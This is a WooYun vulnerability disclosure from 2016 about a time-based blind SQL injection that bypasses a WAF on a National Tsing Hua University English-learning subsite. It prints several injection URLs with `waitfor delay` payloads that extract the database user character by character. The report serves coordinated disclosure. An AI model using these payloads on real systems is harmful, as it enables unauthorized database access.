漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0167162
漏洞标题：绕过waf继续注入之国立清华大学某分站（疑似sa权限）（臺灣地區）
相关厂商：台湾省国立清华大学
漏洞作者： 404notfound
提交时间：2016-01-04 16:36
修复时间：2016-02-20 15:48
公开时间：2016-02-20 15:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(Hitcon台湾互联网漏洞报告平台)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-04： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-20： 细节向公众公开
简要描述：
乌云和台湾漏洞平台很给力，现在台湾高校都特么是waf，sqlmap已经废了，现在来手工
详细说明：
国立清华大学英语自学网注入点：http://**.**.**.**/interaction_class/new_course_menu.asp?Level_id=4&Kind_id=1&Class_Kind=11不知道之前有没有被其他人提交过，就算提交过装了waf修复了，我们现在来绕过waf
http://**.**.**.**/interaction_class/new_course_menu.asp?Level_id=4&Kind_id=1&Class_Kind=11%27;if%20%28ascii%28substring%28user,1,1%29%29%29%3C105%20waitfor%20delay%20%270:0:3%27%20-- True
http://**.**.**.**/interaction_class/new_course_menu.asp?Level_id=4&Kind_id=1&Class_Kind=11%27;if%20%28ascii%28substring%28user,1,1%29%29%29%3E100%20waitfor%20delay%20%270:0:3%27%20-- True
省略一些步骤直接给结果：
http://**.**.**.**/interaction_class/new_course_menu.asp?Level_id=4&Kind_id=1&Class_Kind=11%27;if%20%28ascii%28substring%28user,1,1%29%29%29=101%20waitfor%20delay%20%270:0:3%27--
所以第一位是d
同理可得第二第三位：
这里手工累死了
http://**.**.**.**/interaction_class/new_course_menu.asp?Level_id=4&Kind_id=1&Class_Kind=11%27;if%20%28ascii%28substring%28user,3,1%29%29%29=111%20waitfor%20delay%20%270:0:3%27--
第二位是：b第三位是o
所以user是dbo
同理可猜解其他
百分之90是sa，未验证
不知道是不是由于单引号的问题，开始我想自动化注入，我在python脚本中想注释掉剩余的一个单引号总是失败，自动化脚本失败，只有纯手工
漏洞证明：
见上
修复方案：
waf不总安全
版权声明：转载请注明来源 404notfound@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：16
确认时间：2016-01-08 03:19
厂商回复：
感謝通報
最新状态：
暂无